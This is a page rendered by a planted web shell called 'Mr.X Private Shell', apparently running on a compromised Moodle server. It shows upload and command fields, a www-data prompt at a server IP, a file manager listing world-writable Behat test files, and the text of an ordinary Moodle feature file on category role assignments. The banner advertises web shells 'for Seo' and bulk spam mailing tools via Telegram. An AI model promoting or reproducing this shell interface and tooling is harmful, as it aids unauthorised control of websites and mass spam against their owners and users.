__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
@core @core_course @theme_classic
Feature: Role assignments can be made at the category level in classic
  In order to grant a user different capabilities
  As a user
  I can assign roles in categories

  Background:
    Given the following "users" exist:
      | username  | firstname | lastname |
      | manager   | Manager   | Manager  |
    And the following "categories" exist:
      | name | category | idnumber |
      | Cat 1 | 0 | CAT1 |
    And the following "role assigns" exist:
      | user    | role          | contextlevel | reference |
      | manager | manager       | Category     | CAT1      |
    And I log in as "admin"

  @javascript
  Scenario: A user with a category role can assign roles
    Given I define the allowed role assignments for the "Manager" role as:
      | Teacher | Assignable |
    And I log out
    And I log in as "manager"
    And I am on course index
    When I follow "Cat 1"
    Then "Assign roles" "link" should exist in current page administration

  @javascript
  Scenario: A user with a category role cannot assign roles if there are no roles to assign
    Given I define the allowed role assignments for the "Manager" role as:
      | Manager             | Not assignable |
      | Course creator      | Not assignable |
      | Teacher             | Not assignable |
      | Non-editing teacher | Not assignable |
      | Student             | Not assignable |
    And I change window size to "large"
    And I log out
    And I log in as "manager"
    And I am on course index
    When I follow "Cat 1"
    Then "Assign roles" "link" should not exist in current page administration

Filemanager

Name Type Size Permission Actions
addblock.feature File 1.34 KB 0777
behat_theme_classic_behat_admin.php File 4.19 KB 0777
behat_theme_classic_behat_blocks.php File 4 KB 0777
behat_theme_classic_behat_completion.php File 1.57 KB 0777
behat_theme_classic_behat_core_question.php File 2 KB 0777
behat_theme_classic_behat_course.php File 2.82 KB 0777
behat_theme_classic_behat_general.php File 2.1 KB 0777
behat_theme_classic_behat_grade.php File 2.18 KB 0777
behat_theme_classic_behat_grading.php File 1.64 KB 0777
behat_theme_classic_behat_navigation.php File 19.54 KB 0777
behat_theme_classic_behat_repository_upload.php File 2.9 KB 0777
blacklist.json File 793 B 0777
category_role_assignment.feature File 1.6 KB 0777
course_sections.feature File 1.21 KB 0777
courseadministrationmenu.feature File 1011 B 0777
mycoursesblocks.feature File 1.21 KB 0777
pageadministrationmenu.feature File 2.11 KB 0777
theme_selector.feature File 1.41 KB 0777
welcome_to_classicmoodle.feature File 1.33 KB 0777
Filemanager